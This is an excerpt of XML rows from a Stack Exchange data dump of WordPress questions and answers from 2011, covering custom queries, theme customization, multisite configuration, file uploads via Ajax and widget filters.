  <row Id="11007" PostTypeId="2" ParentId="10998" CreationDate="2011-03-03T10:58:21.233" Score="1" ViewCount="" Body="&lt;p&gt;You can either code a custom sql query or you can query your post type for that &quot;brand&quot; and collect the categories and then display them, something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//get all your post of that type fo that spesific brand&#xA;$my_query = new WP_Query();&#xA;$my_query-&amp;gt;query(array(&#xA;    'post_type' =&amp;gt; 'products',&#xA;    'posts_per_page' =&amp;gt; -1,&#xA;    'tax_query' =&amp;gt; array(&#xA;        array(&#xA;            'taxonomy' =&amp;gt; 'brand',&#xA;            'field' =&amp;gt; 'slug',&#xA;            'terms' =&amp;gt; $wp_query-&amp;gt;query_vars['brand']&#xA;        )&#xA;    )&#xA;    ));&#xA;$my_cats = array(); &#xA;if ($my_query-&amp;gt;have_posts()){&#xA;//loop over all post and collect the categories in to an array&#xA;    while ($my_query-&amp;gt;have_posts()){&#xA;        $my_query-&amp;gt;the_post();&#xA;        foreach((get_the_category($post-&amp;gt;ID)) as $category) {&#xA;            if (!in_array($category-&amp;gt;cat_ID ,$my_cats)){&#xA;                $my_cats[] = $category-&amp;gt;cat_ID;&#xA;            }&#xA;        } &#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and here you have the list of all categories ID in an array $my_cats.&#xA;which you can get all the info you need from&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-29T15:58:52.063" LastActivityDate="2011-03-29T15:58:52.063" CommentCount="4" />
  <row Id="11008" PostTypeId="2" ParentId="10994" CreationDate="2011-03-03T11:16:46.867" Score="0" ViewCount="" Body="&lt;p&gt;That depends on the volume of posts you are going to have for recordings and regular posts. if you are talking about a few of each then using the built-in categories and tags will do and you can leverage all of the built-in functions for tags and categories, otherwise there is no harm in using your own taxonomies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And as for the individual recordings info( date, lenght) if its not needed to be searchable you can use the post's custom fileds for that.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-03T11:16:46.867" CommentCount="1" />
  <row Id="11009" PostTypeId="1" AcceptedAnswerId="11128" CreationDate="2011-03-03T11:24:58.340" Score="1" ViewCount="192" Body="&lt;p&gt;I am merging Wordpress into a existing system and require our users to be able to make posts to a multi-site WP install. I have a database table that will link our own member to specific blog IDs and stuff, so there will be no need for user/logins as far as WP is concerned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I really need to know is how to run certain WP functions outside of WP itself - on a completely different domain infact (but same server). I have tried simply including wp-load.php in our existing admin panel but as soon as I do it redirects to the main site - I assume because the domains do not match:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;domain1.com and domain2.com are both on the same server, domain1.com is the WP MU setup, on domain2.com in our own admin area I am including wp-load.php and as soon as I do it redirects me straight to the homepage of domain1.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it even preferable to do it this way? I have seen a few examples where people have directly queried the WP database to insert posts. but if that's the case I have to ask myself why I am even using WP for this project at all?! I am thinking about using WP XMLRPC API but I need more power than that and don't wish to turn in on really.&lt;/p&gt;&#xA;" OwnerUserId="3669" LastEditorUserId="3669" LastEditorDisplayName="" LastEditDate="2011-03-03T16:08:42.557" LastActivityDate="2011-04-27T13:21:21.587" Title="Creating a Post form outside of the Admin" Tags="&lt;multisite&gt;&lt;wp-admin&gt;&lt;posts&gt;&lt;wpdb&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="1" />
  <row Id="11010" PostTypeId="2" ParentId="11006" CreationDate="2011-03-03T11:30:09.710" Score="1" ViewCount="" Body="&lt;p&gt;This is more of a CSS question. You put your image tag into the paragraph (&lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;img/&amp;gt;....&amp;lt;/p&amp;gt;&lt;/code&gt;) and then use CSS to limit the text width and push the image out to the right:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;p { padding: 0 200px 0 0; }&#xA;p img { float: right; width: 200px; height: 200px; margin: 0 -200px 0 0; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-03-03T11:30:09.710" CommentCount="2" />
  <row Id="11011" PostTypeId="2" ParentId="10987" CreationDate="2011-03-03T11:36:47.550" Score="1" ViewCount="" Body="&lt;p&gt;It's a JavaScript editor just like the one used in a new/edit post/page editor&#xA;only here the editor is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://code.google.com/p/wmd/&quot; rel=&quot;nofollow&quot;&gt;WMD-Editor&lt;/a&gt; (i think)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and WordPress uses an editor named: &lt;a href=&quot;http://tinymce.moxiecode.com/&quot; rel=&quot;nofollow&quot;&gt;TinyMCE&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In both cases it's a matter of attaching the editor to a textarea. you can use &lt;a href=&quot;http://wordpress.org/extend/plugins/fckeditor-for-wordpress-plugin/&quot; rel=&quot;nofollow&quot;&gt;Dean's FCKEditor For WordPress&lt;/a&gt; which uses the powerful WYSIWYG &lt;a href=&quot;http://www.CKeditor.com&quot; rel=&quot;nofollow&quot;&gt;CKeditor&lt;/a&gt;&#xA;and integrates it into the comments textarea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&#xA;i just saw this &lt;a href=&quot;http://c.hadcoleman.com/wordpress-plugins/wmd-editor-wordpress-plugin/&quot; rel=&quot;nofollow&quot;&gt;http://c.hadcoleman.com/wordpress-plugins/wmd-editor-wordpress-plugin/&lt;/a&gt; which is just what you need.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-03-03T11:46:06.030" LastActivityDate="2011-03-03T11:46:06.030" CommentCount="1" />
  <row Id="11012" PostTypeId="2" ParentId="10946" CreationDate="2011-03-03T11:44:46.640" Score="3" ViewCount="" Body="&lt;p&gt;Rather than modifying the template, since you're going to need jQuery anyway, you can do this..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add to the &lt;strong&gt;functions.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'wp_enqueue_scripts', 'blogroll_toggles' );&#xA;function blogroll_toggles() {&#xA;    if( is_page_template( 'bookmarks.php' ) )&#xA;        wp_enqueue_script( 'blogroll-toggle', get_bloginfo( 'stylesheet_directory' ) . '/blogroll-toggle.js', array( 'jquery' ) );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or create a new folder in the &lt;code&gt;wp-content/plugins/&lt;/code&gt; folder, create a file inside the new folder, eg. &lt;strong&gt;blogroll-plugin.php&lt;/strong&gt;, and add the following.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;    Plugin Name: Suffusion Blogroll Toggles&#xA;*/&#xA;add_action( 'wp_enqueue_scripts', 'blogroll_toggles' );&#xA;function blogroll_toggles() {&#xA;    if( is_page_template( 'bookmarks.php' ) )&#xA;        wp_enqueue_script( 'blogroll-toggle', plugins_url( '/blogroll-toggle.js', __FILE__ ), array( 'jquery' ) );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The function will basically enqueue in the script whenever a page is loaded with the bookmarks template attached to it. jQuery is set as a dependancy for the script, so there's no need to load that seperately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a file in the theme(or plugin) folder and call it &lt;strong&gt;blogroll-toggle.js&lt;/strong&gt;, then place the following code into that file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready( function($) {&#xA;    // Hide the blogroll lists&#xA;    $('div.entry ul.blogroll').hide();&#xA;    // Attach a click function to the headings&#xA;    $('div.entry h4').click( function() {&#xA;            // Make sure we're targeting the blogroll heading, if not, stop here(do nothing)&#xA;        if( !$(this).next('ul.blogroll') )&#xA;            return false;&#xA;            // Toggle the blogroll list that follows the heading&#xA;        $(this).next('ul.blogroll').toggle();&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The jQuery is untested, but it should work(i've done toggles dozens of times).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; If using as a plugin, remember to activate it like you would any other plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any problems with the code, let me know. :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-03T14:17:16.197" LastActivityDate="2011-03-03T14:17:16.197" CommentCount="2" />
  <row Id="11013" PostTypeId="1" AcceptedAnswerId="11014" CreationDate="2011-03-03T11:55:51.843" Score="0" ViewCount="317" Body="&lt;p&gt;is it possible in Wordpress to have the category description use a rich text editor rather than a standard text area? If so any idea how to make it use one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3670" LastActivityDate="2011-03-30T05:23:26.983" Title="Using a rich text editor for category description?" Tags="&lt;categories&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="11014" PostTypeId="2" ParentId="11013" CreationDate="2011-03-03T12:04:12.643" Score="1" ViewCount="" Body="&lt;p&gt;Two plugins that i know:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/rich-category-editor/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Rich Category Editor&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.laptoptips.ca/projects/category-description-editor/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Category Description Editor&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;but I haven't tried them on the new 3.1 so check them out.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-03T12:04:12.643" CommentCount="4" />
  <row Id="11015" PostTypeId="1" CreationDate="2011-03-03T12:28:05.763" Score="0" ViewCount="53" Body="&lt;p&gt;This plugin is pretty nice:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-postviews/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-postviews/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you can click a post, click back on the browser, and click again, and it will keep adding views I was hoping that there would be only one view per user (e.g. registered user).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Refreshing the post does the same thing (adds another view).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other plugin or way to solve this?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-03-03T12:28:05.763" Title="Plugin to display post views that doesn't add views on page refresh, and on continious clicking by the same user?" Tags="&lt;plugins&gt;&lt;views&gt;" />
  <row Id="11016" PostTypeId="1" AcceptedAnswerId="11332" CreationDate="2011-03-03T12:29:45.650" Score="0" ViewCount="397" Body="&lt;p&gt;I've used &lt;a href=&quot;http://return-true.com/2010/01/using-ajax-in-your-wordpress-theme-admin/&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt; to build an option page form with Ajax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, i want to use the wp_handle_upload to upload an image. &#xA;i tried this &lt;a href=&quot;http://pastebin.com/35HW8RSZ&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/35HW8RSZ&lt;/a&gt; but with no success. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;help will be appreciated.&#xA;Asaf.&lt;/p&gt;&#xA;" OwnerUserId="3603" LastActivityDate="2011-03-07T07:03:02.710" Title="trying to use wp_handle_upload with ajax" Tags="&lt;theme-development&gt;&lt;functions&gt;&lt;uploads&gt;&lt;ajax&gt;" AnswerCount="2" />
  <row Id="11017" PostTypeId="2" ParentId="10168" CreationDate="2011-03-03T12:50:21.670" Score="2" ViewCount="" Body="&lt;p&gt;Use the defines to make it pick the site you want it to pick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can define these four to setup the $current_site values properly: DOMAIN_CURRENT_SITE, PATH_CURRENT_SITE, SITE_ID_CURRENT_SITE, BLOG_ID_CURRENT_SITE. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you check the wpmu_current_site() function in ms-load.php, you'll see that it uses those to create the $current_site global.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may or may not have to populate the $current_blog global manually. Not sure. Try it and see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So realistically, all you have to do is add something like this before you call wp-load.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( 'DOMAIN_CURRENT_SITE', 'example.com' );&#xA;define( 'PATH_CURRENT_SITE', '/' );&#xA;define( 'SITE_ID_CURRENT_SITE', 1 );&#xA;define( 'BLOG_ID_CURRENT_SITE', 1 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With the right values for your main example.com site, of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to put these in the sub-domain's php files themselves, then you can do something like this in either the wp-config.php or the sunrise.php file (if you define SUNRISE to true in the wp-config.php as well, of course).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( $_SERVER['HTTP_HOST'] == 'sub1.example.com' || &#xA;     $_SERVER['HTTP_HOST'] == 'sub2.example.com') {&#xA;    define( 'DOMAIN_CURRENT_SITE', 'example.com' );&#xA;    define( 'PATH_CURRENT_SITE', '/' );&#xA;    define( 'SITE_ID_CURRENT_SITE', 1 );&#xA;    define( 'BLOG_ID_CURRENT_SITE', 1 );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's pretty much what the sunrise file load is there for, to allow a place where you can manually override things like this. Advantage of using sunrise.php over wp-config.php for it (which also works) is that you can easily turn sunrise on and off somewhere else, for testing and debugging and such.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastEditorUserId="2232" LastEditorDisplayName="" LastEditDate="2011-03-03T12:58:46.577" LastActivityDate="2011-03-03T12:58:46.577" CommentCount="1" />
  <row Id="11018" PostTypeId="2" ParentId="11016" CreationDate="2011-03-03T12:55:58.910" Score="1" ViewCount="" Body="&lt;p&gt;You need to include a few files to get &lt;code&gt;wp_handle_upload&lt;/code&gt;  to work, and i have a function just for that :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function My_wp_handle_upload($file_handler,$overrides) {&#xA;&#xA;  // check to make sure its a successful upload&#xA;  if ($_FILES[$file_handler]['error'] !== UPLOAD_ERR_OK) __return_false();&#xA;&#xA;  require_once(ABSPATH . &quot;wp-admin&quot; . '/includes/image.php');&#xA;  require_once(ABSPATH . &quot;wp-admin&quot; . '/includes/file.php');&#xA;  require_once(ABSPATH . &quot;wp-admin&quot; . '/includes/media.php');&#xA;&#xA;  $upload = wp_handle_upload( $file_handler, $overrides );&#xA;  return $upload ;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so after you add this function to your file just change your call from :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$file = wp_handle_upload($data['MoobLogoUpload'], $overrides);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$file = My_wp_handle_upload($data['MoobLogoUpload'], $overrides);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Just remembered that you must use an ajax upload solution like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;JQurey form plugin&lt;/li&gt;&#xA;&lt;li&gt;Uplodify&lt;/li&gt;&#xA;&lt;li&gt;SWFUpload&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;any other or submit by iframe since it is not possible to upload files using the browser's XMLHttpRequest object&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-03-06T08:15:00.603" LastActivityDate="2011-03-06T08:15:00.603" />
  <row Id="11019" PostTypeId="2" ParentId="10970" CreationDate="2011-03-03T13:08:46.100" Score="2" ViewCount="" Body="&lt;p&gt;Similar question: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/7010/top-3-posts-in-last-week-ordered-by-facebook-and-twitter-share-counts&quot;&gt;Top 3 posts in last week ordered by Facebook and Twitter share counts&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, you have to write something to get the like count and store it as metadata with the posts every so often. Then you can order based on that count.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-03-03T13:08:46.100" CommentCount="1" />
  <row Id="11020" PostTypeId="2" ParentId="8802" CreationDate="2011-03-03T13:10:46.410" Score="3" ViewCount="" Body="&lt;p&gt;Simple Facebook Connect can do this:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/simple-facebook-connect/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/simple-facebook-connect/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, the SFC-Publish sub-plugin can do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use it to push all my updates. You can see an example at &lt;a href=&quot;http://www.facebook.com/ottopress&quot; rel=&quot;nofollow&quot;&gt;http://www.facebook.com/ottopress&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also see an example of what SFC-Publish does at &lt;a href=&quot;http://www.facebook.com/WordPress&quot; rel=&quot;nofollow&quot;&gt;http://www.facebook.com/WordPress&lt;/a&gt;, which is the one we now push from &lt;a href=&quot;http://wordpress.org/news/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/news/&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastEditorUserId="2232" LastEditorDisplayName="" LastEditDate="2011-03-11T18:06:45.920" LastActivityDate="2011-03-11T18:06:45.920" />
  <row Id="11021" PostTypeId="1" CreationDate="2011-03-02T16:10:47.807" Score="0" ViewCount="83" Body="&lt;p&gt;I have been wondering about how I could customize a Wordpress theme to look like that of my site, which is basically made of simple html and css. Alternatively, do you think there is a customizable simpler blogging solution that can be used for the same purpose?&lt;/p&gt;&#xA;" LastActivityDate="2011-03-03T13:36:10.950" Title="Customizing wordpress to match your site theme" Tags="&lt;css&gt;&lt;themes&gt;" AnswerCount="4" />
  <row Id="11022" PostTypeId="2" ParentId="11021" CreationDate="2011-03-02T16:19:25.130" Score="0" ViewCount="" Body="&lt;p&gt;My advice is using wordpress instead of other solution, as wp is the most widely used solution. you can easily find massive support articles and resources about how to customise a theme. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some links helped me a lot &lt;br&gt;&#xA;&lt;a href=&quot;http://www.webdesignerwall.com/tutorials/building-custom-wordpress-theme/&quot; rel=&quot;nofollow&quot;&gt;http://www.webdesignerwall.com/tutorials/building-custom-wordpress-theme/&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Theme_Development/&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Theme_Development/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or another way is to find a freelancer customising one for you. It shouldnt be very expensive.&lt;/p&gt;&#xA;" LastActivityDate="2011-03-02T16:19:25.130" />
  <row Id="11023" PostTypeId="2" ParentId="11021" CreationDate="2011-03-02T16:20:14.360" Score="1" ViewCount="" Body="&lt;p&gt;Try the Codex.  I really love these &quot;how can I do this&quot; questions, please do some research.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are faced with creating a custom theme (wordpress runs themes to visually show a different site).  These themes can be downloaded from Wordpress (Extend section). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest studying the Codex here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;then follow that up by going through the default theme located somewhere in like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/wp-content/themes/default (or any theme folder)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The themes are simple in structure, but can be turned into complex structures if need be.  The codex is your BIBLE, search it if you get stuck.&lt;/p&gt;&#xA;" LastActivityDate="2011-03-02T16:20:14.360" />
  <row Id="11024" PostTypeId="2" ParentId="11021" CreationDate="2011-03-02T17:36:11.240" Score="0" ViewCount="" Body="&lt;p&gt;You could try checking out Thematic Wordpress theme and build your site upon it.&#xA;It should be fairly easy that way.&lt;/p&gt;&#xA;" LastActivityDate="2011-03-02T17:36:11.240" />
  <row Id="11025" PostTypeId="2" ParentId="11021" CreationDate="2011-03-02T18:21:13.140" Score="3" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Install wordpress.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Get the style.css file from the default theme (at /wp-content/themes/twentyten/style.css).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open that file, you will see it is very well structured and commented. With just a few copy/paste from your current site's css to this file you will start to see the changes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If after playing with the CSS you feel the need to change some html elements, start with the index.php file under the twentyten folder. That will change your homepage among other pages. When you have that done, you could need to do similar modifications to page.php, archive.php and single.php. Also, header.php holds the top part of the html body, of course shared by all the pages, same as footer.php and sidebar.php.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When you are done, change the name of the theme: you need to change the folder name (twentyten &gt; mytheme) and the first lines on style.css (Theme Name). You should probably leave the Author part in its place of course. If you skip this step your customizations could be lost with the next upgrade of your wordpress install if done via wp-admin. Once done you will need to activate your customized template in wp-admin.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2844" LastActivityDate="2011-03-02T18:21:13.140" CommentCount="1" />
  <row Id="11027" PostTypeId="1" AcceptedAnswerId="12715" CreationDate="2011-03-03T14:04:52.387" Score="0" ViewCount="84" Body="&lt;p&gt;I am using the following code to create a short permalink for one of my custom post types. I have another cpt that I wish to just use the default permalink structure, so what would be the best way to restrict this filtering to just cpt1? to be honest I thought one of the functions here would already handle this (add_permastruct?) but the same permalink rewrite is applied to other cpts. the documentation in the codex is a little thin on this… thanks Rhys&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function cpt1_rewrite() {&#xA;global $wp_rewrite;&#xA;$queryarg = 'post_type=cpt1name&amp;amp;p=';&#xA;$wp_rewrite-&amp;gt;add_rewrite_tag('%cpt1_id%', '([^/]+)', $queryarg);&#xA;$wp_rewrite-&amp;gt;add_permastruct('cpt1name', '/cpt1/%cpt1_id%', false);}&#xA;&#xA;function cpt1_permalink($post_link, $id = 0, $leavename) {&#xA;global $wp_rewrite;&#xA;$post = &amp;amp;get_post($id);&#xA;if ( is_wp_error( $post ) )&#xA;    return $post;   &#xA;$newlink = $wp_rewrite-&amp;gt;get_extra_permastruct('cpt1name');&#xA;$newlink = str_replace(&quot;%cpt1_id%&quot;, $post-&amp;gt;ID, $newlink);&#xA;$newlink = home_url(user_trailingslashit($newlink));&#xA;return $newlink;}&#xA;&#xA;add_action('init', 'cpt1_rewrite');&#xA;add_filter('post_type_link', 'cpt1_permalink', 1, 3);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3672" LastActivityDate="2011-03-22T13:13:03.230" Title="restricting custom rewrite to just one custom post type" Tags="&lt;custom-post-types&gt;&lt;plugin-development&gt;&lt;url-rewriting&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="11028" PostTypeId="2" ParentId="6213" CreationDate="2011-03-03T14:07:19.157" Score="0" ViewCount="" Body="&lt;p&gt;I just had this problem. You can see my thread here: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/10304/wordpress-posts-out-of-order-after-3-1-update&quot;&gt;Wordpress Posts Out Of Order after 3.1 Update&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is a bug in MySQL. You need to upgrade to 5.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5.0.51a is causing the bug.&lt;/p&gt;&#xA;" LastActivityDate="2011-03-03T14:07:19.157" />
  <row Id="11029" PostTypeId="1" AcceptedAnswerId="11031" CreationDate="2011-03-03T13:36:40.847" Score="0" ViewCount="188" Body="&lt;p&gt;i would like put link after each widget in dynamic sidebar. I thinks is possible if i use static sidebar, but i don't found any tutorial for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks you&lt;/p&gt;&#xA;" OwnerUserId="3677" LastActivityDate="2011-03-03T16:52:31.647" Title="How put links in wordpress dynamic sidebar?" Tags="&lt;html&gt;&lt;css&gt;&lt;widgets&gt;&lt;sidebar&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="11030" PostTypeId="1" CreationDate="2011-03-03T14:26:28.993" Score="0" ViewCount="93" Body="&lt;p&gt;I'm trying to separate the main part of my blog (the informational portion) from more commercial parts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WHen you load my homepage, I purposely exclude a category because I don't want my normal readers to be bothered with affiliate links and such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to add a subdirectory /reviews/ for example, that loops through the reviews category and displays them all on one page, just like how the category template works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are 2 reasons I don't want to use the category template:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) I have my SEO settings to block indexing on my category template&#xA;2) The /category/ in the permalinks is ugly to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to accomplish domain.com/reviews/ where it functions just like the category template? Am I stuck with manually building a page? Or am I stuck with domain.com/category/reviews ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked into building a &quot;network&quot; with Wordpress MU, but it says I can't do that anymore since my blog is &gt;1 month old. Plus it's kinda technical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I basically want to add more blogs to my site (to keep everything nicely separated), so I am trying to figure out a workaround by just excluding/including certain categories where I want them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I making sense? Haha thanks to all who take the time out of their day to reply :)&lt;/p&gt;&#xA;" LastActivityDate="2011-09-01T11:38:44.287" Title="Possible to make a subdirectory that loops through a single category?" Tags="&lt;categories&gt;&lt;permalinks&gt;&lt;template&gt;" AnswerCount="2" />
  <row Id="11031" PostTypeId="2" ParentId="11029" CreationDate="2011-03-03T14:33:25.603" Score="1" ViewCount="" Body="&lt;p&gt;If you use&lt;a href=&quot;http://wordpress.org/extend/plugins/widget-logic/&quot; rel=&quot;nofollow&quot;&gt;Widget Logic&lt;/a&gt; it adds a new filter &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;widget_content&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which you can hook your function to and add link to it somthing like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('widget_content','add_link_to_widgets');&#xA;function add_link_to_widgets($content){&#xA;   return $content . '&amp;lt;br /&amp;gt;&amp;lt;a href=&quot;http://www.domain.com&quot;&amp;gt;my link&amp;lt;/a&amp;gt;'&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You are missing the point, the plugin is great if you want to use his ability to limit the display of widgets, &lt;strong&gt;Beside&lt;/strong&gt; that it add a new filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so you can use that filter like i said to add your links, each widget has an id you can add the link based on that.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-03-03T16:52:31.647" LastActivityDate="2011-03-03T16:52:31.647" CommentCount="3" />
